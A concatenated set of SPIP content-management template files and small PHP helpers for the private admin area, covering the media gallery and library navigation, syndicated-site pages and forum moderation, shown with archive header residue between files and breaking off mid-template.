	<h3>[(#VAL{medias:aucun_}|concat{#ENV{media,document}}|_T)]</h3>
	<//B_galerie>
</div><!--#galerie-->
inclure/mediatheque-galerie.html000066600000012567152525406370013024 0ustar00#SET{editable,#ENV{editable,oui}|=={non}|non}

<div class="galerie[ media-(#ENV{media,''})]">
	<B_galerie>
	
	<h2>[(#GRAND_TOTAL|singulier_ou_pluriel{#VAL{medias:un_}|concat{#ENV{media,document}},#VAL{medias:des_}|concat{#ENV{media,document},s}})]</h2>
	<div class='pagination tri'>
		[(#TRI{'>',#CHEMIN_IMAGE{tri-asc-16.png}|balise_img{<:par_tri_croissant:>}}) |]
		[(#TRI{'<',#CHEMIN_IMAGE{tri-desc-16.png}|balise_img{<:par_tri_decroissant:>}}) |]
		[(#TRI{id_document,<:medias:par_id:>}) |]
		[(#TRI{date,<:medias:par_date:>}) |]
		[(#TRI{taille,<:medias:par_taille:>}) |]
		[(#TRI{largeur,<:medias:par_largeur:>}) |]
		[(#TRI{hauteur,<:medias:par_hauteur:>}) |]
		[(#TRI{titre,<:medias:par_titre:>}) |]
		
		[<:medias:label_paginer_par:> (#GRAND_TOTAL|>{100}|oui)
			[(#SELF|parametre_url{pagination,''}|lien_ou_expose{10,#ENV{pagination,10}|=={10},ajax})]
			[<span class="sep">|</span> (#SELF|parametre_url{pagination,50}|lien_ou_expose{50,#ENV{pagination,10}|=={50},ajax})]]
		[(#GRAND_TOTAL|>{500}|oui)
			[<span class="sep">|</span> (#SELF|parametre_url{pagination,100}|lien_ou_expose{100,#ENV{pagination,10}|=={100},ajax})]
		]
		[(#GRAND_TOTAL|>{5000}|oui)
			[<span class="sep">|</span> (#SELF|parametre_url{pagination,500}|lien_ou_expose{500,#ENV{pagination,10}|=={500},ajax})]
		]
	</div>
	[<div class="pagination">(#PAGINATION{prive})</div>]
	<table>
	<thead>
		<th></th>
		<th class="id"><:medias:id:></th>
		<th></th>
		<th><:medias:logo:></th>
		<th><:medias:infos:></th>
		<th><:medias:descriptif:></th>
		<th></th>
	</thead>
	<BOUCLE_galerie(DOCUMENTS) {id_rubrique ?}{id_article ?}{id_breve ?}{id_document ?}{recherche ?} {tri id_document,inverse}{media?}{extension?}{distant?}{brise?}{statut==#ENV{statut,.*}}{orphelins?}{titre==(#ENV{sanstitre}|?{'^$','.*'})}{id_vignette==(#ENV{sansvignette}|?{'^0','.*'})}{pagination #ENV{pagination,10}}>
	<tr class="[(#ENV{media}|non)[ media-(#MEDIA)]]" id="#ENV{iddoc,media}#ID_DOCUMENT">
		<td class='infos'>
		[(#DISTANT|=={oui}|non)#SET{missing,#FICHIER|file_exists|non}]
		[(#ENV{media}|non|et{#MEDIA|!={file}})[(#CHEMIN_IMAGE{media-#MEDIA|concat{-32.png}}|balise_img|inserer_attribut{alt,#VAL{medias:media_#MEDIA}|_T}|inserer_attribut{title,#VAL{medias:media_#MEDIA}|_T})]]
		[(#GET{missing}|oui)<img src='#CHEMIN_IMAGE{document-manquant-24.png}' width='24' height='24' alt='<:medias:fichier_manquant:>' />]
		[(#DISTANT|=={oui}|oui)<img src='#CHEMIN_IMAGE{document-distant-24.png}' width='24' height='24' alt='<:medias:fichier_distant:>' />]
		</td>
		<td class="id">
			<strong>#ID_DOCUMENT</strong>
		</td>
		<td class='statut'>
		[(#ID_DOCUMENT|medias_puce_statut_document{#STATUT})]
		</td>
		<td class="logo">
		#SET{fichier,#DISTANT|=={oui}|?{#FICHIER,#FICHIER|basename}}
		[(#MEDIA|=={image}|oui)[
			<a href="#URL_DOCUMENT" type="#MIME_TYPE"[ title="(#GET{fichier})"]>(#LOGO_DOCUMENT{apercu,250,100}|inserer_attribut{alt,[(#TITRE|couper{60}|texte_backend)]})</a>
		]]
		[(#MEDIA|=={image}|non)[<div class="#EDIT{vignette} resize-250">
			<a href="#URL_DOCUMENT" type="#MIME_TYPE"[ title="(#GET{fichier})"]>(#LOGO_DOCUMENT{auto,250,100}|inserer_attribut{alt,[(#TITRE|couper{60}|texte_backend)]})</a>
		</div>]]
		<div class="fichier">#GET{fichier}</div>
		</td>
		<td class="exif">
			[<strong class="extension">(#EXTENSION)</strong>]
			[<div class="dimensions">(#LARGEUR|?{[(#LARGEUR)[ x (#HAUTEUR) pixels]],''})</div>]
			[<div class="taille">(#TAILLE|taille_en_octets)</div>]
			[<div class="date">(#DATE|affdate{d/m/Y})</div>]
			[(#PIPELINE{afficher_metas_document,#ARRAY{args,#ARRAY{'quoi','galerie','id_document',#ID_DOCUMENT},data,''}})]
			<B_liens>
			[(#TOTAL_BOUCLE|>{1}|oui)
			<a href='#' onclick="jQuery(this).next().show();$(this).hide();return false;">[(#TOTAL_BOUCLE|singulier_ou_pluriel{medias:une_utilisation,medias:des_utilisations})]</a><div style='display: none;'>
			]
			<BOUCLE_liens(documents_liens){id_document}{'<br />'}>
			[(#ID_OBJET|lien_objet{#OBJET})]
			</BOUCLE_liens>
			[(#TOTAL_BOUCLE|>{1}|oui)</div>]
			</B_liens>
		</td>
		<td class="descriptif">
			[<strong class="titre #EDIT{titre}">(#TITRE|sinon{#VAL{<i>}|concat{<:info_sans_titre:>,'</i>'}})</strong>]
			[<div class="descriptif #EDIT{descriptif}">(#DESCRIPTIF)</div>]
			[<p class="credits #EDIT{credits}">(#CREDITS)</p>]
		</td>
		<td>
		[(#REM) Utilisation de la galerie en mode portfolio, avec renvoi vers l'edition]
		[(#GET{editable})
		[(#AUTORISER{modifier,document,#ID_DOCUMENT})&#91;<a href='#URL_ECRIRE{document_edit,id_document=#ID_DOCUMENT}'><:bouton_modifier:></a>&#93;]
		[<span class='supprimer'>(#AUTORISER{supprimer,document,#ID_DOCUMENT})[(#BOUTON_ACTION{<:medias:bouton_supprimer:>,#URL_ACTION_AUTEUR{supprimer_document,#ID_DOCUMENT,#SELF},ajax,'','',[(function(){jQuery("##ENV{iddoc,media}(#ID_DOCUMENT)").animateRemove();return true;})()]})]</span>]
		]
		[(#PIPELINE{document_desc_actions,#ARRAY{args,#ARRAY{id_document,#ID_DOCUMENT,position,galerie},data,''}})]
		</td>
	</tr>
	</BOUCLE_galerie>
	</table>
	[<p class="pagination">(#PAGINATION{prive})</p>]
	#SET{nb_orphelins,#GRAND_TOTAL}
	</B_galerie>
	<h2>[(#VAL{medias:aucun_}|concat{#ENV{media,document}}|_T)]</h2>
	<//B_galerie>
	[(#ENV{orphelins}|et{#AUTORISER{supprimer,orphelins,'',#SESSION{id_auteur}}})
	[(#INCLURE{fond=prive/squelettes/inclure/bouton-supprimer-orphelins,env,nb_orphelins=#GET{nb_orphelins}})]
	]
</div><!--#galerie-->
inclure/colonne-documents.html000066600000000711152525406370012543 0ustar00[(#REM)

  Squelette
  (c) xxx
  Distribue sous licence GPL

]
<div class="liste_items documents" id="documents_joints">
<BOUCLE_docslies(documents_liens){id_objet}{objet}>
	#MODELE{document_case,id_document=#ID_DOCUMENT,id_objet,objet,ajax}
</BOUCLE_docslies>
</div>
<script type="text/javascript">/*<![CDATA[*/
var multifile='[(#CHEMIN{javascript/jquery.multifile.js}|texte_script)]';
[(#INCLURE{javascript/medias_edit.js}|compacte{js})]
/*]]>*/</script>
inclure/mediatheque-navigation_fonctions.php000066600000001617152525406370015452 0ustar00<?php

/***************************************************************************\
 *  SPIP, Systeme de publication pour l'internet                           *
 *                                                                         *
 *  Copyright (c) 2001-2016                                                *
 *  Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribue sous licence GNU/GPL.     *
 *  Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne.   *
\***************************************************************************/


if (!defined('_ECRIRE_INC_VERSION')) return;


function liste_extensions_utilisees($media){
	return $media?array_map('reset',sql_allfetsel('extension','spip_documents','media='.sql_quote($media))):array();
}inclure/ajouter-documents_fonctions.php000066600000001433152525406370014466 0ustar00<?php

/***************************************************************************\
 *  SPIP, Systeme de publication pour l'internet                           *
 *                                                                         *
 *  Copyright (c) 2001-2016                                                *
 *  Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James  *
 *                                                                         *
 *  Ce programme est un logiciel libre distribue sous licence GNU/GPL.     *
 *  Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne.   *
\***************************************************************************/


if (!defined('_ECRIRE_INC_VERSION')) return;

include_spip('formulaires/joindre_document');inclure/mediatheque-navigation.html000066600000010105152525406370013535 0ustar00#SET{self,#SELF|parametre_url{debut_galerie,''}}
#SET{self,#GET{self}|parametre_url{extension,''}}
#SET{editable,#ENV{editable,oui}|=={non}|non}

<div class='onglets_simple'>
<ul class='medias'>
[<li>(#GET{self}|parametre_url{media,''}|lien_ou_expose{<:medias:tous_les_medias:>,#ENV{media,''}|=={''},ajax})</li>]
<BOUCLE_medias(DATA){liste image,audio,video,file}>
	<BOUCLE_comptem(DOCUMENTS){id_rubrique ?}{id_article ?}{id_breve ?}{id_document ?}{recherche ?}{statut==.*}{media=#VALEUR} />
	[<li class='#VALEUR'>(#GET{self}|parametre_url{media,#VALEUR}|lien_ou_expose{#VAL{medias:media_}|concat{#VALEUR}|_T|concat{' (',#TOTAL_BOUCLE,')'},#ENV{media}|=={#VALEUR},ajax})</li>]
	<//B_comptem>
</BOUCLE_medias>
</ul>
<div class="nettoyeur"></div>
</div>

[(#ENV{id_document}|oui)
<a class='annule_filtre' href='[(#GET{self}|parametre_url{id_document,''})]' title="<:medias:tout_voir|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:medias:tout_voir:>})]</a>
]

<div class='onglets_simple second clearfix'>
<ul class='statut'>
[<li class='first'>(#GET{self}|parametre_url{statut,''}|lien_ou_expose{<:medias:documents_tous:>,#ENV{statut,.*}|=={.*},ajax})</li>]
[<li>(#GET{self}|parametre_url{statut,publie}|lien_ou_expose{<:medias:documents_publies:>,#ENV{statut}|=={publie},ajax})</li>]
[<li>(#GET{self}|parametre_url{statut,prop|prepa|poubelle}|lien_ou_expose{<:medias:documents_non_publies:>,#ENV{statut}|=={prop|prepa|poubelle},ajax})</li>]
</ul>

<ul class='distant'>
[<li class='first'>(#GET{self}|parametre_url{distant,''}|lien_ou_expose{<:medias:documents_tous:>,#ENV{distant,''}|=={''},ajax})</li>]
[<li>(#GET{self}|parametre_url{distant,'oui'}|lien_ou_expose{<:medias:documents_distants:>,#ENV{distant,''}|=={'oui'},ajax})</li>]
[<li>(#GET{self}|parametre_url{distant,'non'}|lien_ou_expose{<:medias:documents_locaux:>,#ENV{distant,''}|=={'non'},ajax})</li>]
</ul>

<ul class='brises'>
[<li class='first'>(#GET{self}|parametre_url{brise|orphelins,''}|lien_ou_expose{<:medias:documents_tous:>,#ENV{brise,0}|non|et{#ENV{orphelins,0}|non},ajax})</li>]
[<li>(#GET{self}|parametre_url{brise,''}|parametre_url{orphelins,1}|lien_ou_expose{<:medias:documents_orphelins:>,#ENV{orphelins,0}|=={1},ajax})</li>]
[<li>(#GET{self}|parametre_url{brise,1}|parametre_url{orphelins,''}|lien_ou_expose{<:medias:documents_brises:>,#ENV{brise,0}|=={1},ajax})</li>]
</ul>

<ul class='sanstitre'>
[<li class='first'>(#GET{self}|parametre_url{sanstitre,''}|parametre_url{sansvignette,''}|lien_ou_expose{<:medias:documents_tous:>,#ENV{sanstitre,#ENV{sansvignette}}|=={''},ajax})</li>]
[<li>(#GET{self}|parametre_url{sanstitre,'1'}|parametre_url{sansvignette,''}|lien_ou_expose{<:info_sans_titre:>,#ENV{sanstitre,''}|=={'1'},ajax})</li>]
[<li>(#GET{self}|parametre_url{sansvignette,'1'}|parametre_url{sanstitre,''}|lien_ou_expose{<:medias:info_sans_vignette:>,#ENV{sansvignette,''}|=={'1'},ajax})</li>]
</ul>
</div>

<B_types>
<ul class='choix-type'>
	<BOUCLE_types(TYPES_DOCUMENTS){par titre}{extension IN #ENV{media,''}|liste_extensions_utilisees}>
	<BOUCLE_compte(DOCUMENTS){id_rubrique ?}{id_article ?}{id_breve ?}{id_document ?}{recherche ?}{statut==.*}{extension}{media=#ENV{media}} />
	[(#_compte:TOTAL_BOUCLE|oui)[<li>(#GET{self}|parametre_url{extension,#EXTENSION}|lien_ou_expose{#TITRE|concat{' (',#_compte:TOTAL_BOUCLE,')'},#ENV{extension}|=={#EXTENSION},ajax})<span> | </span></li>]]
	<//B_compte>
	</BOUCLE_types>
</ul>
</B_types>

<div class='nettoyeur'></div>
#FORMULAIRE_RECHERCHE_ECRIRE{#GET{self},ajax}

<INCLURE{fond=#ENV{galerie,prive/squelettes/inclure/mediatheque-galerie},ajax=documents,env} />

<div class='nettoyeur'></div>
[(#GET{editable})
<div class='actions'>
[(#ENV{brise,0}|oui)
	[(#URL_ACTION_AUTEUR{verifier_documents_brises,'1',#GET{self}}|lien_ou_expose{<:medias:verifier_documents_brises:>,0,ajax})]
]
[(#ENV{orphelins,0}|oui)
	[(#URL_ACTION_AUTEUR{verifier_documents_liens,'*',#GET{self}}|lien_ou_expose{<:medias:verifier_documents_inutilises:>,0,ajax})]
]
[
(#INCLURE{fond=prive/squelettes/inclure/ajouter-documents, env, ajax})
]
</div>]

extra/site.html000066600000001051152525604250007530 0ustar00<BOUCLE_extra(SITES){id_syndic}{statut?}{si #ENV{exec}|=={site}}>
#SET{statut,#SESSION{statut}|=={0minirezo}|?{'',#ARRAY{0,prop,1,publie}}}
#SET{where,#VAL{id_syndic!=}|concat{#ID_SYNDIC}}
<INCLURE{fond=prive/objets/liste/sites,id_rubrique=#ID_RUBRIQUE,where=#GET{where},statut=#GET{statut},ajax} />

#BOITE_OUVRIR{'','raccourcis'}
	[(#URL_ECRIRE{sites}|icone_horizontale{<:sites:icone_voir_sites_references:>,site-24.png})]
#BOITE_FERMER
</BOUCLE_extra>
[(#ENV{exec}|=={site_edit}|oui)<INCLURE{fond=prive/squelettes/extra/site_edit,env} />]
<//B_extra>inclure/boutons-filtres-statut-syndic.html000066600000001175152525604250015061 0ustar00#SET{self,#SELF|parametre_url{debut_syndic_article,''}}
<div class='onglets_simple clearfix'>
<ul class="statut statut_syndic_articles">
<li>[(#GET{self}|parametre_url{statut,''}|lien_ou_expose{<:sites:articles_tous:>,#ENV{statut,''}|=={''},ajax})]</li>

<BOUCLE_st(POUR){tableau #ARRAY{0,publie,1,dispo,2,off,3,refuse}}>
	<BOUCLE_cpt(SYNDIC_ARTICLES){id_syndic?}{statut=#VALEUR}{recherche?} />
	[(#TOTAL_BOUCLE|oui) <li class='#VALEUR'>[(#GET{self}|parametre_url{statut,#VALEUR}|lien_ou_expose{#VAL{sites:articles_#VALEUR}|_T|concat{' (',#TOTAL_BOUCLE,')'},#ENV{statut,''}|=={#VALEUR},'ajax'})]</li>]<//B_cpt>
</BOUCLE_st>
</ul>
</div>
inclure/plan-syndic.html000066600000001342152525604250011326 0ustar00#SET{nomp,sitrub#ID_RUBRIQUE}
#SET{nb,50}
<B_sites>
	<div class="menu">
		<h4><:sites_web:></h4>
		[<p class="pagination">[<em>(#VAL{site}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>]
		<ul class="menu-items sites syndic">
			<BOUCLE_sites(SITES) {id_rubrique} {par nom_site}{statut==.?}{pagination #GET{nb} #GET{nomp}}>
				<li class="item"><a href="[(#ID_SYNDIC|generer_url_entite{site})]"
							title="[(#VAL{site}|objet_info{texte_objet}|_T) #ID_SYNDIC]">[(#STATUT|puce_statut{site,#ID_SYNDIC,#ID_RUBRIQUE}) ][(#NOM_SITE|couper{80}|sinon{<:info_sans_titre:>})]</a></li>
			</BOUCLE_sites>
		</ul>
		[<p class="pagination">[<em>(#VAL{site}|objet_info{texte_objets}|_T)</em>](#PAGINATION{prive})</p>]
	</div>
</B_sites>
navigation/site_edit.html000066600000000000152525604250011542 0ustar00navigation/sites.html000066600000000576152525604250010742 0ustar00#SET{open,#BOITE_OUVRIR{'',raccourcis}}
[(#AUTORISER{importer,sites})
	[(#GET{open}|unique)]
[(#URL_ECRIRE{sites_import}|icone_horizontale{<:sites:titre_importer_bookmarks:>,site-24.png})]
][(#AUTORISER{exporter,sites})
	[(#GET{open}|unique)]
[(#URL_ECRIRE{sites_export}|icone_horizontale{<:sites:titre_exporter_bookmarks:>,site-24.png})]
]
[(#GET{open}|unique|?{'',#BOITE_FERMER})]navigation/site.html000066600000000731152525604250010550 0ustar00<BOUCLE_nav(SITES){id_syndic}{statut==.*}{si #ENV{exec}|=={site}}>
#BOITE_OUVRIR{'','info'}
#PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','site','id',#ENV{id_syndic}}}}
#BOITE_FERMER

<div class="ajax">
#FORMULAIRE_EDITER_LOGO{site,#ID_SYNDIC,'',#ENV**}
</div>

#PIPELINE{afficher_config_objet,#ARRAY{args,#ARRAY{type,site,id,#ID_SYNDIC},data,''}}
</BOUCLE_nav>
[(#ENV{exec}|=={site_edit}|oui)<INCLURE{fond=prive/squelettes/navigation/site_edit,env} />]
<//B_nav>contenu/site_edit.html000066600000000131152525604250011063 0ustar00<INCLURE{fond=prive/echafaudage/contenu/objet_edit,objet=site,id_objet=#ID_SYNDIC,env} />contenu/sites.html000066600000001717152525604250010254 0ustar00<h1 class="grostitre"><:sites:titre_page_sites_tous:></h1>

<BOUCLE_rubrique_existe(RUBRIQUES){statut?}{racine}{0, 1}>

<INCLURE{fond=prive/objets/liste/sites,titre=<:sites:titre_sites_tous:>,statut=publie,par=nom_site,ajax} />
<INCLURE{fond=prive/objets/liste/sites,titre=<:sites:titre_sites_proposes:>,statut=prop,par=nom_site,ajax} />

[(#AUTORISER{creersitedans,rubrique,#ID_RUBRIQUE})
	[(#URL_ECRIRE{site_edit}|icone_verticale{<:sites:icone_referencer_nouveau_site:>,site-24.png,new,right})]
	<br class='nettoyeur' />
]

<!--affiche_milieu-->
<INCLURE{fond=prive/objets/liste/sites,titre=<:sites:avis_sites_probleme_syndication:>,syndication=off,statut=publie,par=nom_site,ajax} />
[(#AUTORISER{instituer,site}|oui)
	<INCLURE{fond=prive/objets/liste/sites,titre=<:sites:info_sites_refuses:>,statut=refuse,par=nom_site,ajax} />
]
<INCLURE{fond=prive/objets/liste/syndic_articles,titre=<:sites:titre_dernier_article_syndique:>,par=date,ajax} />

</BOUCLE_rubrique_existe>
contenu/site.html000066600000006121152525604250010063 0ustar00<BOUCLE_site(SITES){id_syndic}{statut==.*}{si #ENV{exec}|=={site}}>
[(#BOITE_OUVRIR{[
				
	[(#AUTORISER{modifier,site,#ID_SYNDIC})
				
		[(#ID_SYNDIC|afficher_qui_edite{site}|non)
			[(#URL_ECRIRE{site_edit,id_syndic=#ID_SYNDIC}|icone_verticale{<:sites:icone_modifier_site:>,site,edit,right ajax preload})]
		]
		[(#ID_SYNDIC|afficher_qui_edite{site}|oui)
			[(#URL_ECRIRE{site_edit,id_syndic=#ID_SYNDIC}|icone_verticale{#ID_SYNDIC|afficher_qui_edite{site},warning-24.png,'',right edition_deja ajax preload})]
		]
	]
	<h1>[(#RANG). ](#NOM_SITE|sinon{<:info_sans_titre_2:>})[(#CHEMIN_IMAGE{site-24.png}|balise_img{site,cadre-icone})]</h1>
	[(#URL_SITE|propre|inserer_attribut{class,url_site})]
],simple fiche_objet})]

<div id="wysiwyg">
	<INCLURE{fond=prive/objets/contenu/site,id=#ID_SYNDIC,id_syndic=#ID_SYNDIC,wysiwyg=1} />
</div>
[(#STATUT|=={prop}|oui)
	<p class='site_prop'><:sites:info_site_propose:> <b>[(#DATE|affdate)]&nbsp;</b></p>
]
<div class="ajax">
	#FORMULAIRE_DATER{site,#ID_SYNDIC}
</div>

<!--affiche_milieu-->

[(#SYNDICATION|match{oui|off|sus}|oui)
	<p class='site_syndique'><a href='#URL_SYNDIC'>[(#CHEMIN_IMAGE{rss-24.png}|balise_img{RSS})]</a><:sites:info_site_syndique:></p>

	[(#SYNDICATION|match{off|sus}|oui)
		<div class='site_syndique_probleme'><:sites:avis_site_syndique_probleme{url_syndic=#URL_SYNDIC}:>
			[(#BOUTON_ACTION{<:sites:lien_nouvelle_recuperation:>,#URL_ACTION_AUTEUR{editer_site,#ID_SYNDIC,#SELF}|parametre_url{reload,oui},ajax})]
		</div>
	]
	<INCLURE{fond=prive/objets/liste/syndic_articles,id_syndic,titre=<:sites:titre_articles_syndiques:>,par=date,ajax} />

	[(#DATE_SYNDIC|oui)
		<div class='date_syndic'><:sites:info_derniere_syndication:>[ (#DATE_SYNDIC|affdate_heure)]</div>
	]

	<div class='mise_a_jour_syndic'>
		[(#BOUTON_ACTION{<:sites:lien_mise_a_jour_syndication:>,#URL_ACTION_AUTEUR{syndiquer_site,#ID_SYNDIC,#SELF},ajax})]
	</div>
	
	[(#AUTORISER{purger,site,#ID_SITE}|oui)
		<div class='purger_syndic'>
			[(#BOUTON_ACTION{<:sites:lien_purger_syndication:>,#URL_ACTION_AUTEUR{purger_site,#ID_SYNDIC,#SELF},ajax,<:sites:confirmer_purger_syndication:>})]
		</div>
	]
	[(#AUTORISER{modifier,site,#ID_SITE}|oui)
		<div class="ajax">
			#FORMULAIRE_REGLER_MODERATION_SITE{#ID_SYNDIC}
		</div>
	]
]

<BOUCLE_test(SYNDIC_ARTICLES){id_syndic=#ID_SYNDIC}{0,1}{si #SYNDICATION|=={non}}>
	[(#AUTORISER{purger,site,#ID_SITE}|oui)
		<INCLURE{fond=prive/objets/liste/syndic_articles,id_syndic,titre=<:sites:titre_articles_syndiques:>,par=date,ajax} />
		<div class='purger_syndic'>
			[(#BOUTON_ACTION{<:sites:lien_purger_syndication:>,#URL_ACTION_AUTEUR{purger_site,#ID_SYNDIC,#SELF},ajax,<:sites:confirmer_purger_syndication:>})]
		</div>
	]
</BOUCLE_test>

#PIPELINE{afficher_complement_objet,#ARRAY{args,#ARRAY{type,site,id,#ID_SYNDIC},data,'<div class="nettoyeur"></div>'}}

#BOITE_FERMER
[(#EVAL{_AJAX}|oui)
	<script type="text/javascript">/*<!\[CDATA\[*/reloadExecPage('#ENV{exec}','#navigation,#chemin');/*\]\]>*/</script>
]
</BOUCLE_site>
[(#ENV**{exec}|=={site_edit}|?{#INCLURE{fond=prive/squelettes/contenu/site_edit,redirect='',env,retourajax=oui},#REM|sinon_interdire_acces})]
<//B_site>
contenu/sites_export.html000066600000000216152525604260011647 0ustar00[(#AUTORISER{exporter,sites}|sinon_interdire_acces)]
<h1 class="grostitre"><:sites:titre_exporter_bookmarks:></h1>
#FORMULAIRE_EXPORTER_SITES
contenu/controler_syndication.html000066600000002567152525604260013545 0ustar00<h1 class="grostitre"><:sites:icone_controler_syndication:></h1>
#SET{self,#SELF|parametre_url{id_syndic_article|lesauteurs|debut_id_syndic_article,''}}
<BOUCLE_repart(SITES){id_syndic}><a class='annule_filtre' href='[(#GET{self}|parametre_url{id_syndic,''})]' title="<:sites:tout_voir|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:sites:tout_voir:>})]</a>
<:sites:texte_messages_publics:><h1><a href='[(#URL_SITE|ancre_url{syndic#ID_SYNDIC_ARTICLE})]'>#NOM_SITE</a></h1>
</BOUCLE_repart>

#SET{self,#SELF|parametre_url{id_syndic_article|lesauteurs|debut_id_syndic_article|statut,''}}

[(#REM) Les boutons pour tout le lot de message d'un emetteur ---------------------------------------------------------]
[(#ENV{lesauteurs})
<a class='annule_filtre ajax' href='#GET{self}' title="<:sites:tout_voir|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:sites:tout_voir:>})]</a>
]
[
<div class='source'>
<div class='par'><:par_auteur:> (#ENV{lesauteurs})</div>
</div>
]

[(#INCLURE{fond=prive/squelettes/inclure/boutons-filtres-statut-syndic, env})]
#FORMULAIRE_RECHERCHE_ECRIRE{#SELF|parametre_url{debut_id_syndic_article,''},ajax}
[<h3><:resultats_recherche:> &#171;&nbsp;(#ENV{recherche})&nbsp;&#187;</h3>]
<div class="nettoyeur"></div>


<INCLURE{fond=prive/objets/liste/syndic_articles,sinon=<:sites:aucun_article_syndic:>,env} />contenu/sites_import.html000066600000000216152525604260011640 0ustar00[(#AUTORISER{importer,sites}|sinon_interdire_acces)]
<h1 class="grostitre"><:sites:titre_importer_bookmarks:></h1>

#FORMULAIRE_IMPORTER_SITESnavigation/controler_forum.html000066600000003521152526115430013021 0ustar00#BOITE_OUVRIR{'',info}
<:forum:info_gauche_suivi_forum_2:> #AIDER{suiviforum}
#BOITE_FERMER

[(#AUTORISER{modererlot,forum}|oui)
	[(#BOITE_OUVRIR{<:forum:titre_selection_action:>,raccourcis})]
	#SET{nb,'<b>N</b>'}
	<div id="actiongroup">
		<p class="status">
			<span class="zero"><:forum:aucun_message_forum:></span>
			<span class="one none"><:forum:info_1_message_forum:></span>
			<span class="many none"><:forum:info_nb_messages_forum{nb=#GET{nb}}:></span>
		</p>
		<p>
		<p>
		<:forum:info_selectionner_message:><br />
		<a href="#" class="shortcut selectall" onclick="actiongroup.selectAll();return false;"><:forum:messages_tous:></a> |
		<a href="#" class="shortcut unselectall" onclick="actiongroup.unselectAll();return false;"><:forum:messages_aucun:></a> |
		<a href="#" class="shortcut selectprop" onclick="actiongroup.selectAll($('li.statut_prop'));return false;"><:forum:messages_prop:></a>
		</p>
		<p>
		<a href="#" class="shortcut empty" onclick="actiongroup.emptySelection();return false;"><:forum:lien_vider_selection:></a>
		</p>
		</p>
		<div>
			<button class='action' data-href='#URL_ACTION_AUTEUR{instituer_lot_forum,publie}'><:forum:icone_valider_messages:></button><br />
			<button class='action' data-href='#URL_ACTION_AUTEUR{instituer_lot_forum,spam}'><:forum:icone_bruler_messages:></button>
			<button class='action' data-href='#URL_ACTION_AUTEUR{instituer_lot_forum,off}'><:forum:icone_supprimer_messages:></button>
		</div>
	</div>
	<div class="success none"><:bouton_valider:></div>
	#BOITE_FERMER
]

<script type="text/javascript">/*<![CDATA[*/
[(#INCLURE{prive/javascript/actiongroup.js}|appliquer_filtre{minifier_js, true})]
function reinit(){actiongroup.activate(jQuery("ul.liste-items.forums >.item.forum:not(.statut_prive,.statut_privadm,.statut_privrac,.statut_privoff)",this));}
jQuery(reinit);
onAjaxLoad(reinit);
/*]]>*/</script>hierarchie/controler_forum.html000066600000000000152526115430012752 0ustar00contenu/forum.html000066600000002003152526115430010240 0ustar00[(#AUTORISER{menu,foruminternesuivi}|sinon_interdire_acces)]
#SET{self,#SELF}
#SET{quoi,interne}
[(#AUTORISER{participer,forumadmin}|non)
<h1 class="grostitre"><:forum:titre_cadre_forum_interne:></h1>
]
[(#AUTORISER{participer,forumadmin}|oui)
	#SET{quoi,#ENV{quoi,interne}}
	<div class='onglets_simple clearfix'>
		<ul>
			<li>[(#GET{self}|parametre_url{quoi,''}|lien_ou_expose{<:forum:titre_cadre_forum_interne:>,#GET{quoi}|=={interne},ajax})]</li>
			<li>[(#GET{self}|parametre_url{quoi,admin}|lien_ou_expose{<:forum:titre_cadre_forum_administrateur:>,#GET{quoi}|=={admin},ajax})]</li>
		</ul>
	</div>
]
[(#GET{quoi}|=={interne}|oui)
<h1 class="none"><:forum:titre_cadre_forum_interne:></h1>
<INCLURE{fond=prive/squelettes/inclure/discuter_forum, env, quoi=interne, statut=privrac, ajax} />
]
[(#GET{quoi}|=={admin}|et{#AUTORISER{participer,forumadmin}}|oui)
<h1 class="none"><:forum:titre_cadre_forum_administrateur:></h1>
<INCLURE{fond=prive/squelettes/inclure/discuter_forum, env, quoi=interne, statut=privadm, ajax} />
]contenu/configurer_forum.html000066600000000771152526115430012475 0ustar00[(#AUTORISER{configurer,_forum}|sinon_interdire_acces)]
<h1 class="grostitre"><:forum:titre_forum:></h1>

<h2><:titre_config_contenu_public:></h2>

<div class='ajax'>
#FORMULAIRE_CONFIGURER_FORUMS_PARTICIPANTS
</div>

<div class='ajax'>
#FORMULAIRE_CONFIGURER_FORUMS_CONTENU
</div>

<h2><:titre_config_contenu_prive:></h2>

<div class='ajax'>
#FORMULAIRE_CONFIGURER_FORUMS_PRIVES
</div>

<h2><:titre_config_contenu_notifications:></h2>
<div class='ajax'>
#FORMULAIRE_CONFIGURER_FORUMS_NOTIFICATIONS
</div>contenu/controler_forum.html000066600000010742152526115430012340 0ustar00[(#AUTORISER{moderer,forum}|sinon_interdire_acces)]
[(#VAL{_INTERDIRE_TEXTE_HTML}|define{oui}|vide) Activer l'echappement du HTML dans cette page de moderation]
<h1 class="grostitre"><:forum:titre_forum_suivi:>[(#VAL{forums_}|concat{#ENV{type_message,public}}|bouton_spip_rss)]</h1>

#SET{self,#SELF|parametre_url{id_forum|email_auteur|ip|id_auteur|auteur|debut_id_forum,''}}

[(#ENV{objet}|et{#ENV{id_objet}})
#BOITE_OUVRIR{'','note'}
	<p><:forum:texte_messages_publics:></p>
	<a class='annule_filtre' href='[(#GET{self}|parametre_url{id_objet|objet,''})]' title="<:forum:tout_voir|attribut_html:>">[(#CHEMIN_IMAGE{fermer-16.png}|balise_img|inserer_attribut{alt,<:forum:tout_voir:>})]</a>
	<h2 class='objet_titre'><a href='[(#INFO_URL{#OBJET,#ID_OBJET}|ancre_url{forum#ID_FORUM})]'>[(#OBJET|objet_icone{16}) ][(#INFO_TITRE{#OBJET,#ID_OBJET})]</a></h2>
#BOITE_FERMER
]

#SET{type_message,#ENV{type_message,public}}
[(#GET{type_message}|=={interne}|et{#AUTORISER{moderer,foruminterne}|non})
	#SET{type_message,public}
]
#SET{prive,#GET{type_message}|=={interne}|?{'priv%','%'}}
#SET{public,#GET{type_message}|=={public}|?{'priv%',''}}
#SET{vide,#GET{type_message}|=={vide}|?{'','%'}}

